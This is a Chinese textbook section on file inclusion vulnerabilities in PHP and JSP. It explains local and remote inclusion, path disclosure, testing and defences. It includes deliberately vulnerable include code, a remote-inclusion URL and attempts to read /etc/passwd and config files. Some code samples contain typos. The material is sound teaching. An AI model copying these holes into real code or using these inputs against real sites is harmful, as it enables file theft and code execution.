2.12文件包含漏洞
文件包含漏洞是指可以执行的文件包含有一个可以执行的文件,显示包含文件的代码内容或者可以执行的文件包含系统重要文件,显示重要文件的漏洞。
1. PHP文件包含
PHP文件包含函数如11所示。
11 PHP文件包含函数
函数 |
解释 |
require() |
找不到包含文件会产生致命错误(E_COMPILE_ERROR) |
include() |
找不到包含文件会产生警告(E_WARNING) |
require_once() |
同require,该文件已经被包含,不会再次包含 |
include_once() |
同include,该文件已经被包含,不会再次包含 |
1)本地包含
①可执行文件包含可执行文件
ArrayUtil.php文件代码如下。
<?php functionprintArr($arr,$sp="-->",$lin="<br>"){ foreach($arr as $key=>$value){ echo "$key $sp $value$lin";}} ?>
index.php包含可执行文件ArrayUtil.php,且调用ArrayUtil.php内的函数printArr,代码如下。
<?php include("ArrayUtil.php"); $arr = array("赤","橙","黄","绿","青","蓝","紫"); ptintArr($arr,"==>") ?>
运行代码index.php,结果如下。
0==>赤
1==>橙
2==>黄
3==>绿
4==>青
5==>蓝
6==>紫
这是文件包含的最基本用法。
②可执行文件包含不可执行文件
一个伪jpg文件phpinfo.jpg,其内容符合PHP规范,代码如下。
<?php phpinfo(); ?>
另一个PHP文件index.php包含这个jpg代码,代码如下。
<?php include("phpinfo.jpg"); ?>
运行index.php代码,phpinfo();代码被执行,如31所示。再来看一个例子。建立文件index1.php,代码如下。
<?php include("..\\..\\..\\tomcat\\conf\\catalina.properties"); ?>
运行这个代码,就把catalina.properties读取出来。当然如果include函数中的URL是一个绝对路径,那么系统中的重要文件就可能被获取。
2)远程包含
远程包含必须把php.ini配置文件中的allow_url_include设置为on,代码如下。
… ; Whether to allowinclude/require to open URLs (like http:// or ftp://) as files. ;http://php.net/allow-url-include allow_url_include=on …
在远端www.3testing.com/sec目录下存在一个php.txt文件,内容如下。
<?php echo "Hi God!"; ?>
本地文件index.php内容为。
<?php include("$_GET['page']"); ?>
在浏览器输入框中输入http://127.0.0.1:8100/.../index.php?page=http://www.3testing.com/sec/php.txt,即可获取php.txt中的输出内容Hi God!。
试图在www.3testing.com/sec目录下建立一个index1.php。
<?php include("//etc//passwd"); ?> 在浏览器输入框中输入http://127.0.0.1:8100/.../index.php?page=http://www.3testing.com/sec/index1.php,出现如下提示。 Warning: include()[function.include]: open_basedir restriction in effect. File(//etc//passwd) isnot within the allowed path(s):(/data/home/byu4550520001/:/usr/home/byu4550520001/:/data/home/tmp/:/usr/home/tmp/:/var/www/disablesite/)in /data/home/byu4550520001/htdocs/sec/index1.php on line 2 Warning: include(//etc//passwd)[function.include]: failed to open stream: Operationnot permitted in /data/home/byu4550520001/htdocs/sec/index1.php on line 2 Warning: include() [function.include]:Failed opening '//etc//passwd' for inclusion(include_path='.:/var/www/php5/lib/php') in/data/home/byu4550520001/htdocs/sec/index1.php on line 2
由于可见www.3testing.com是托管在阿里云上的,可见阿里云对于文件包含漏洞采取的措施是有效的。
3)获取当前文件所在绝对路径
通过文件包含还可以获取当前文件所在绝对路径。有这么一个PHP文件(index.php)。
<?php if(isset($_GET['page'])){ include $_GET['page’]; }else{ include 'home.php';} ?>
home.php有一些超链接,sec是一些不存在的URL,内容如下
<li><ahref="index.php?page=home">首页</a></li> <li><ahref="index.php?page=introduce">我的介绍</a></li> <li><ahref="index.php?page=class">我的课程</a></li> <li><ahref="index.php?page=paper">我的文章</a></li> <li><ahref="index.php?page=pictures">上课图片</a></li> <li><ahref="index.php?page=video">教学录像</a></li> <li><ahref="index.php?page=home" target="_blank">测试之家</a></li>
访问index.php,显示home.php,点击任意一个超级链接,显示如下内容。
Warning: include(home): failedto open stream: No such file or directory in C:\xampp\htdocs\sec\7\index.php online 3 Warning: include(): Failedopening 'home' for inclusion (include_path='C:\xampp\php\PEAR') inC:\xampp\htdocs\sec\7\index.php on line 3
这样当前文件所在绝对路径就被暴露了。
2.JSP文件包含
JSP的文件包含包括静态包含和动态包含。
现在有两个文件page1.txt和page1.txt,内容分别为。
page1.txt
My name is Jerry page2.txt <% out.println("My name isJerry"); %>
1)静态包含
静态包含的语法为:<%@ include file="page.txt"%>
page1.txt:<%@ includefile="page1.txt"%><br> page2.txt:<%@ includefile="page2.txt"%><br>
显示结果如下。
page1.txt: My name is Jerry page2.txt: My name is Jerry
由此可见静态包含执行符合jsp格式的文件。
2)动态包含
动态包含的语法为:<jsp:includepage="page.txt">
index.jsp <% String pages = request.getParameter("page"); %> <jsp:includepage="<%=pages%>"></jsp:include>
在浏览器中输入:http://../index1.jsp?pages=page1.txt,显示page1内容。
My name is Jerry
在浏览器中输入:http://../index2.jsp?pages=page1.txt,显示page2内容。
<% out.println("My name is Jerry"); %>
由此可见,动态包含可以显示jsp文件的源代码,就有一定的危险性。
3.文件包含漏洞测试方法
有效测试文件包含漏洞的方法是静态扫描和代码审查。如果发现存在代码包含漏洞,可以尝试用/etc/passwd(Linux)或c:\windows\win.ini(Windows)来尝试。另外也可以借助类似BurnSuite工具来进行文件包含漏洞的测试。
4.文件包含漏洞防护方法
文件包含漏洞的防护可以总结为以下几点。
- 确保外部包含是不能被用户控制的。
- 包含文件应该在同一路径下,不得包含路径,比如路径隔离符“//”,尤其不得包含或绝对路径。
- 仅可能不要包含jsp的动态链接。
- 做好对关键文件的文件读、写、执行权限控制,比如阿里云的措施。
- 包含文件进行白名单验证。